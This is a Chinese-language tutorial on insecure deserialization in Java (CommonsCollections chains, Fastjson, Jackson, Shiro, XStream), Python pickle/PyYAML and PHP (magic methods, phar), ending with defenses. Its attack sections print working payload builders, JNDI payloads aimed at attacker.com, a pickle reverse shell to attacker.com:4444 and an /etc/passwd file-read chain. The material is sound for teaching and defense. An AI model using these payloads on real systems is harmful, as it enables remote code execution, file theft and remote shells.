不安全反序列化漏洞
反序列化漏洞(Insecure Deserialization)是 OWASP Top 10 中危害极高的漏洞类型。当应用程序将不可信的序列化数据进行反序列化时,攻击者可以构造恶意 payload,在服务端触发任意代码执行、权限提升或拒绝服务攻击。不同语言的反序列化机制各有不同,但攻击思路殊途同归——利用语言运行时在对象重建过程中自动调用的特殊方法(如 Java 的 readObject()、Python 的 __reduce__、PHP 的 __wakeup)来执行恶意逻辑。
一、Java 反序列化漏洞
1.1 Java 序列化与反序列化原理
Java 提供了原生序列化机制,通过 ObjectOutputStream 将对象转换为字节流,通过 ObjectInputStream 将字节流恢复为对象。一个类若要支持序列化,必须实现 java.io.Serializable 接口。
// 序列化示例
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("obj.dat"));
oos.writeObject(userObject);
oos.close();
// 反序列化示例
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("obj.dat"));
User user = (User) ois.readObject(); // 危险!readObject() 会触发目标类的自定义逻辑
ois.close();readObject() 触发机制
当调用 readObject() 时,Java 虚拟机按照以下流程重建对象:
- 读取类的元数据(类名、serialVersionUID 等)
- 递归读取该类的父类及成员对象的序列化数据
- 若目标类自定义了
readObject()方法,则调用该方法 - 返回重建后的对象实例
关键风险点:许多类的 readObject() 方法中调用了其他危险方法(如 Runtime.exec()、Method.invoke()、Transformer.transform() 等)。攻击者通过构造嵌套的对象图,在反序列化过程中逐步调用这些危险方法,最终实现任意代码执行。
Gadget 链(调用链)概念
Gadget 链是指从 readObject() 入口到危险方法执行之间的一系列类调用序列。一条典型的 Gadget 链由以下部分组成:
- 入口类(Entry Class):其
readObject()方法执行了某些后续会被利用的操作,如HashMap、PriorityQueue、BadAttributeValueExpException等 - 中间 Gadget(Intermediate Gadget):桥接调用链的类,如
Transformer、LazyMap、TiedMapEntry等 - Sink(触发点):最终执行危险操作的类,如
Runtime.exec()、ProcessBuilder.start()、JNDI lookup()等
1.2 CommonsCollections 攻击链(CC1–CC7)
Apache CommonsCollections 库广泛存在于 Java 应用中,其 Transformer 接口和 LazyMap/TransformedMap 等类提供了高度灵活的对象转换机制,被安全研究人员发现可构造多条反序列化攻击链。
CC1(TransformedMap + InvokerTransformer)
CC1 是 ysoserial 工具中最早提出的 CommonsCollections 利用链,基于 TransformedMap 和 InvokerTransformer 构造:
// CC1 链核心 payload 构造(JDK 8u71 之前版本可用)
public static byte[] createCC1Payload(String cmd) throws Exception {
// 1. 构造 InvokerTransformer 链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{cmd})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 2. 通过 TransformedMap 将 transformer 绑定到 Map 条目
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
// 3. 使用 AnnotationInvocationHandler 触发 readObject
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object handler = ctor.newInstance(Retention.class, outerMap);
// 4. 序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(handler);
oos.close();
return bos.toByteArray();
}CC2(CommonsCollections4 + PriorityQueue + InvokerTransformer)
CC2 利用链基于 CommonsCollections 4.x 版本,使用 PriorityQueue 作为入口类,结合 InvokerTransformer 实现命令执行:
PriorityQueue.readObject()→heapify()→siftDown()→siftDownUsingComparator()- →
TransformingComparator.compare()→InvokerTransformer.transform() - →
Runtime.exec(cmd)
CC3(CommonsCollections1 变体 + ClassLoader)
CC3 使用 TrAXFilter 和 TemplatesImpl 加载恶意字节码,绕过某些安全限制:
// CC3 核心思路:通过 TemplatesImpl 加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
// 设置 _bytecodes(恶意类的字节码)
// 设置 _name 为非空
// 通过 TrAXFilter.getOutputProperties() → newTransformer() → defineClass()
// 最终加载并执行攻击者定义的类 static 代码块中的命令CC4(CommonsCollections2 变体 + InstantiateTransformer)
CC4 结合了 CC2 和 CC3 的思路,使用 InstantiateTransformer 配合 TrAXFilter,通过 PriorityQueue 触发。
CC5(BadAttributeValueExpException + ChainedTransformer)
CC5 利用 BadAttributeValueExpException.readObject() 调用 toString(),从而触发 LazyMap.get() → ChainedTransformer.transform() → 命令执行。该链不依赖 AnnotationInvocationHandler,适用范围更广。
CC6(LazyMap + TiedMapEntry + HashMap)
CC6 是适用性最广的 CommonsCollections 攻击链,在 JDK 8u71+ 以及 CommonsCollections 3.1-3.2.1 上均可使用:
// CC6 链核心 payload
public byte[] createCC6Payload(String cmd) throws Exception {
// 构造 transformers 链(同上)
ChainedTransformer chain = new ChainedTransformer(transformers);
// 使用 LazyMap 而非 TransformedMap
HashMap<String, String> innerMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(innerMap, chain);
// TiedMapEntry 桥接 HashMap 与 LazyMap
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
// HashMap 作为入口
HashMap<Object, Object> outerMap = new HashMap<>();
outerMap.put(entry, "value");
// 反序列化时:HashMap.readObject() → key.hashCode()
// → TiedMapEntry.hashCode() → LazyMap.get()
// → ChainedTransformer.transform() → Runtime.exec()
return serialize(outerMap);
}CC7(HashTable + LazyMap + ChainedTransformer)
CC7 使用 Hashtable.readObject() 作为入口,触发 Hashtable.reconstitutionPut() → LazyMap.equals() → ChainedTransformer.transform() → 命令执行。
1.3 Fastjson 反序列化漏洞
Fastjson 是阿里巴巴开源的 JSON 解析库,其 parseObject() 方法支持自动调用类的 setter/getter 方法,甚至允许通过 @type 指定任意类进行反序列化。
// 漏洞触发示例
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://attacker.com:1389/Exploit\"," +
"\"autoCommit\":true}";
// 1.2.24 及之前版本存在漏洞
Object obj = JSON.parseObject(json);攻击流程:
- 攻击者构造包含
@type字段的 JSON 字符串,指定恶意类 - Fastjson 通过反射创建该类实例并调用 setter 方法
- 利用
JdbcRowSetImpl的dataSourceName属性触发 JNDI 注入 - JNDI 连接到攻击者控制的 LDAP/RMI 服务器
- 服务器返回恶意字节码,在目标 JVM 中执行
历史漏洞版本:
- 1.2.24 及之前:存在
JdbcRowSetImpl利用链 - 1.2.25-1.2.41:黑名单绕过(使用
L和;包裹类名,如Lcom.sun.rowset.JdbcRowSetImpl;) - 1.2.42-1.2.47:使用
AutoCloseable接口绕过黑名单 - 1.2.68-1.2.80:
expectClass字段绕过检测
1.4 Jackson 反序列化漏洞
Jackson 是另一款广泛使用的 JSON 处理库,其 enableDefaultTyping() 功能允许在 JSON 中指定多态类型,从而引入反序列化风险。
// 存在漏洞的 Jackson 配置(默认禁用,需显式开启)
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 危险!开启了多态类型解析
// 或
mapper.activateDefaultTyping(BasicPolymorphicTypeValidator.builder().build(),
ObjectMapper.DefaultTyping.JAVA_LANGUAGE_OBJECT);
// 攻击 payload
String json = "[\"com.sun.rowset.JdbcRowSetImpl\", " +
"{\"dataSourceName\":\"ldap://attacker.com:1389/Exploit\"," +
"\"autoCommit\":true}]";
mapper.readValue(json, Object.class);CVE 编号:
- CVE-2017-7525:黑名单绕过,
enableDefaultTyping()下的JdbcRowSetImpl利用 - CVE-2019-12384:利用
ch.qos.logback.core.db.DriverManagerConnectionSource触发 JNDI 连接 - CVE-2020-25649:XML 反序列化绕过 JSON 限制
1.5 Shiro 反序列化漏洞(Shiro-550 / Shiro-721)
Apache Shiro 是一个常用的 Java 安全框架,其 "Remember Me" 功能存在经典的反序列化漏洞。
漏洞原理
Shiro 使用 AES-128-CBC 加密序列化后的用户信息,然后 Base64 编码后写入 Cookie。当服务端解密 Cookie 时,会调用 readObject() 对解密后的字节流进行反序列化。
// Shiro 内部处理逻辑(简化版)
public PrincipalCollection getIdentity(HttpServletRequest request) {
String cookie = getCookie("rememberMe");
byte[] decoded = Base64.decode(cookie);
// AES 解密
byte[] decrypted = aesDecrypt(decoded, secretKey);
// 反序列化——漏洞触发点
PrincipalCollection principals = deserialize(decrypted);
return principals;
}Shiro-550(AES Key 爆破)
Shiro 1.2.4 及之前版本内置了硬编码的默认 AES Key(b64G9UJHhkD+4f3GyCJ6gA==),攻击者可直接利用该 Key 构造恶意序列化 payload。
攻击步骤:
- 获取目标 Shiro 应用的
rememberMeCookie - 使用公开的默认 Key 列表(如
kPH+bIxk5D2deZiIxcaaaA==、b64G9UJHhkD+4f3GyCJ6gA==等)进行爆破 - 使用正确的 Key 加密 CommonsCollections 攻击链的序列化字节流
- 将加密结果 Base64 编码后注入 Cookie
- 服务端解密并反序列化,触发命令执行
// Shiro-550 攻击 payload 构造
public String buildShiroPayload(String key, String cmd) throws Exception {
// 1. 生成 CC6 链的序列化字节
byte[] chainBytes = createCC6Payload(cmd);
// 2. AES 加密
SecretKeySpec keySpec = new SecretKeySpec(Base64.getDecoder().decode(key), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, keySpec, new IvParameterSpec(new byte[16]));
byte[] encrypted = cipher.doFinal(chainBytes);
// 3. Base64 编码
return Base64.getEncoder().encodeToString(encrypted);
}Shiro-721(Padding Oracle Attack)
Shiro 1.4.1 及之前版本使用 AES-CBC 模式加密,该模式存在 Padding Oracle 攻击风险。攻击者无需知道 AES Key,通过反复修改 Cookie 中的 IV 值并观察服务端响应差异,即可逐字节恢复明文并构造恶意 payload。
1.6 XStream 反序列化漏洞
XStream 是一个 XML 序列化库,其 fromXML() 方法同样存在反序列化风险。
// XStream 反序列化漏洞示例(<= 1.4.6)
XStream xstream = new XStream();
// 攻击 payload
String xml = "<java.util.concurrent.Executors>\n" +
" <callable class=\"com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter\">\n" +
" <templates class=\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\">\n" +
" <bytecodes>\n" +
" <bytecode>- [恶意字节码 Base64]</bytecode>\n" +
" </bytecodes>\n" +
" <name>test</name>\n" +
" </templates>\n" +
" </callable>\n" +
"</java.util.concurrent.Executors>";
xstream.fromXML(xml); // 触发命令执行主要漏洞版本:
- CVE-2013-7285(<= 1.4.5):通过
ProcessBuilder执行命令 - CVE-2020-26217(<= 1.4.13):通过
TrAXFilter+TemplatesImpl字节码执行 - CVE-2021-21341-21351:多个黑名单绕过漏洞
二、Python pickle 反序列化漏洞
2.1 pickle 序列化原理
Python 的 pickle 模块提供了一种 Python 对象序列化机制。与 Java 的 readObject() 类似,pickle 在还原对象时会自动调用某些特殊方法,其中最危险的是 __reduce__ 方法。
import pickle
import os
# 正常使用 pickle
data = pickle.dumps({"key": "value"})
obj = pickle.loads(data) # 反序列化2.2 reduce 方法利用
__reduce__ 方法返回一个元组 (callable, args),pickle 在反序列化时会调用 callable(*args) 来重建对象。攻击者可以利用该方法执行任意函数。
import pickle
import os
import base64
# 恶意类构造
class Evil(object):
def __reduce__(self):
# 返回 (os.system, ("calc.exe",))
# 反序列化时自动执行 os.system("calc.exe")
return (os.system, ("calc.exe",))
# 生成恶意 pickle payload
payload = pickle.dumps(Evil())
print(base64.b64encode(payload).decode())更隐蔽的攻击方式——反弹 Shell:
import pickle
import socket
import subprocess
class ReverseShell(object):
def __reduce__(self):
# 反弹 shell 的命令
cmd = ("python3 -c 'import socket,subprocess,os;"
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
"s.connect((\"attacker.com\",4444));"
"os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); "
"os.dup2(s.fileno(),2);"
"subprocess.call([\"/bin/sh\",\"-i\"])'")
return (os.system, (cmd,))
payload = pickle.dumps(ReverseShell())2.3 攻击场景
- Web 框架 Session 存储:Flask 早期版本默认使用 pickle 序列化 Session Cookie
- Redis/缓存反序列化:存储在 Redis 中的 Python 对象被反序列化
- 消息队列消费:Celery 等任务队列传输 pickle 格式的序列化数据
2.4 与 PyYAML 结合的利用
除 pickle 外,yaml.load() 也存在类似的反序列化风险:
import yaml
# 危险的 yaml.load()——默认可执行任意 Python 对象
payload = """
!!python/object/apply:os.system ["calc.exe"]
"""
yaml.load(payload) # Python 3 中 yaml.load(input, Loader=yaml.Loader)
# 安全的替代
yaml.safe_load(payload) # 不会执行任意代码三、PHP 反序列化漏洞
3.1 PHP 序列化与反序列化基础
PHP 使用 serialize() 和 unserialize() 进行对象序列化。反序列化时,PHP 会自动触发对象中的魔术方法。
<?php
// 序列化
$obj = new User("admin", "123456");
$data = serialize($obj);
// 输出: O:4:"User":2:{s:4:"name";s:5:"admin";s:8:"password";s:6:"123456";}
// 反序列化——漏洞入口
$restored = unserialize($data); // 危险!
?>3.2 魔术方法利用
PHP 反序列化漏洞的核心是利用以下魔术方法:
| 魔术方法 | 触发时机 | 常见利用方式 |
|---|---|---|
__wakeup() | 反序列化时立即调用 | 在 __wakeup() 中执行危险操作 |
__destruct() | 对象销毁时调用 | 延迟触发,常用于写文件或执行命令 |
__toString() | 对象被当作字符串时调用 | 触发文件读取或 SQL 注入 |
__call() | 调用不可访问的方法时触发 | 动态方法调用 |
__get() | 读取不可访问的属性时触发 | 返回恶意数据 |
__invoke() | 对象被当作函数调用时触发 | 代码执行 |
<?php
// 典型利用链:__wakeup → __toString → __call
class FileReader {
public $filename;
public function __toString() {
// 当对象被当作字符串时,读取文件
return file_get_contents($this->filename);
}
}
class Logger {
public $message;
public function __wakeup() {
echo $this->message; // 触发 __toString
}
}
// 攻击 payload
$exp = new Logger();
$exp->message = new FileReader();
$exp->message->filename = "/etc/passwd";
echo serialize($exp);
// O:6:"Logger":1:{s:7:"message";O:10:"FileReader":1:{s:8:"filename";s:11:"/etc/passwd";}}
// 反序列化后触发: __wakeup() → echo $this->message → __toString() → 文件读取
?>3.3 phar:// 反序列化
PHP 的 phar 文件元信息存储使用序列化格式,当使用 phar:// 协议访问任意文件时,即使只调用了 file_exists()、is_dir() 等文件操作函数,也会自动触发 phar 元数据的反序列化。
<?php
// phar 反序列化示例
class Evil {
public $cmd;
public function __destruct() {
system($this->cmd);
}
}
// 生成恶意的 phar 文件(需在正常系统上生成)
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Evil()); // 元数据存储序列化对象
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
// 在目标系统上,任何处理 phar:// 协议的函数都会触发反序列化
// file_exists("phar://./exploit.phar"); // 触发 Evil.__destruct()
?>3.4 原生类的利用(PHPGGC)
安全研究人员整理了大量 PHP 原生类及主流框架(Laravel、ThinkPHP、Drupal、WordPress)中的可用 Gadget 链,并集成到 PHPGGC 工具中。常见的原生类利用包括:
Error/Exception:利用__toString链实现文件读取SimpleXMLElement:利用 XXE 进行信息泄露SoapClient:利用 CRLF 注入实现 SSRFSplObjectStorage:配合__call链实现任意方法调用
<?php
// 使用 SoapClient 实现 SSRF 的原生类利用
class SoapClientSSRF {
public function __construct($uri) {
$this->client = new SoapClient(
null,
array(
'location' => $uri,
'uri' => 'http://test/',
'user_agent' => "test\r\nX-Custom-Header: injected"
)
);
}
}
?>四、防御方案
4.1 Java 防御措施
JEP-290 / ObjectInputFilter
JEP-290(Java 9+ 内置,Java 8 可通过 jdk.serialFilter 启用)提供了反序列化过滤器机制,可以在反序列化时根据类名、数组大小、对象图深度等条件进行拦截。
// 全局过滤器(Java 9+ 代码方式配置)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.example.*;java.base/*;!*" // 仅允许 com.example 和 java.base 包
);
ObjectInputFilter.Config.setSerialFilter(filter);
// 局部过滤器(对单个流生效)
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("data.dat"));
ois.setObjectInputFilter(filter);
Object obj = ois.readObject();JVM 启动参数配置(推荐在生产环境启用):
# 拒绝所有反序列化,仅放行特定包
-Djdk.serialFilter=maxbytes=1024;maxdepth=20;!*
# 放行业务需要的类
-Djdk.serialFilter=com.example.model.*;java.lang.*;!*替代 JSON 格式
避免使用 Java 原生序列化,改用结构化文本格式:
// 使用 Jackson 替代原生序列化
ObjectMapper mapper = new ObjectMapper();
// 不启用 enableDefaultTyping,仅序列化已知类型
String json = mapper.writeValueAsString(user);
User user = mapper.readValue(json, User.class); // 安全的反序列化禁止危险的依赖
- 移除不必要的 CommonsCollections 依赖,或升级至 3.2.2+(该版本中
InvokerTransformer不可序列化) - 升级 Fastjson 至 1.2.83+ 并启用
safeMode - 升级 Jackson 至 2.10.5+,禁用
enableDefaultTyping()
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>// Fastjson safeMode 配置
ParserConfig.getGlobalInstance().setSafeMode(true);
// 或 JVM 启动参数:-Dfastjson.parser.safeMode=trueShiro 专用防御
- 升级 Shiro 至 1.10.0+,使用 AES-GCM 替代 AES-CBC
- 更换默认的 AES Key,使用随机生成的强密钥
// Shiro 自定义密钥配置(shiro.ini 或 Spring 配置)
SecurityManager securityManager = new DefaultSecurityManager();
CookieRememberMeManager cookieManager = new CookieRememberMeManager();
// 生成随机 128 位密钥
byte[] secretKey = "AES".getBytes(); // 应使用 KeyGenerator 生成
cookieManager.setCipherKey(secretKey);
securityManager.setRememberMeManager(cookieManager);4.2 Python 防御措施
- 避免使用 pickle 处理不可信数据,改用 JSON 或其他安全格式:
import json
# 安全的序列化方式
data = json.dumps({"key": "value"})
obj = json.loads(data)- 使用
pickle.Unpickler时覆写find_class方法,限制可反序列化的类:
import pickle
class SafeUnpickler(pickle.Unpickler):
SAFE_CLASSES = {
"builtins.dict", "builtins.list", "builtins.set",
"builtins.tuple", "builtins.str", "builtins.int",
"builtins.float", "builtins.bool", "builtins.bytes",
}
def find_class(self, module, name):
qualified_name = f"{module}.{name}"
if qualified_name not in self.SAFE_CLASSES:
raise pickle.UnpicklingError(
f"Disallowed class: {qualified_name}"
)
return super().find_class(module, name)
# 使用安全 unpickler
with open("data.pkl", "rb") as f:
obj = SafeUnpickler(f).load()- 升级依赖:使用 PyYAML 时始终使用
safe_load()而非load()。
4.3 PHP 防御措施
- 严格校验输入:对传入
unserialize()的数据进行签名校验:
<?php
// 对序列化数据加签,防止篡改
$data = serialize($obj);
$signature = hash_hmac('sha256', $data, SECRET_KEY);
$safe_data = base64_encode($data . '|' . $signature);
// 反序列化前验签
$decoded = base64_decode($safe_data);
list($payload, $sig) = explode('|', $decoded, 2);
if (!hash_equals(hash_hmac('sha256', $payload, SECRET_KEY), $sig)) {
die('数据被篡改');
}
$obj = unserialize($payload);
?>- 设置允许的类白名单(PHP 7.0+):
<?php
// 仅允许特定类被反序列化
$obj = unserialize($data, [
'allowed_classes' => ['MySafeClass', 'AnotherSafeClass']
]);
?>- 禁用危险协议:避免使用
phar://协议处理用户上传的文件,或在 php.ini 中禁用 phar 的元数据反序列化。
4.4 通用防御原则
- 最小化序列化数据暴露:不在 Cookie、URL 参数或隐藏表单字段中存储敏感序列化数据
- 使用白名单而非黑名单:反序列化过滤应基于允许的类列表,而非禁止的类列表
- 保持依赖更新:及时升级反序列化相关依赖库至修复版本
- 应用层监控:在 WAF、RASP 层面检测已知的反序列化攻击特征(如
@type、__reduce__、InvokerTransformer等关键字)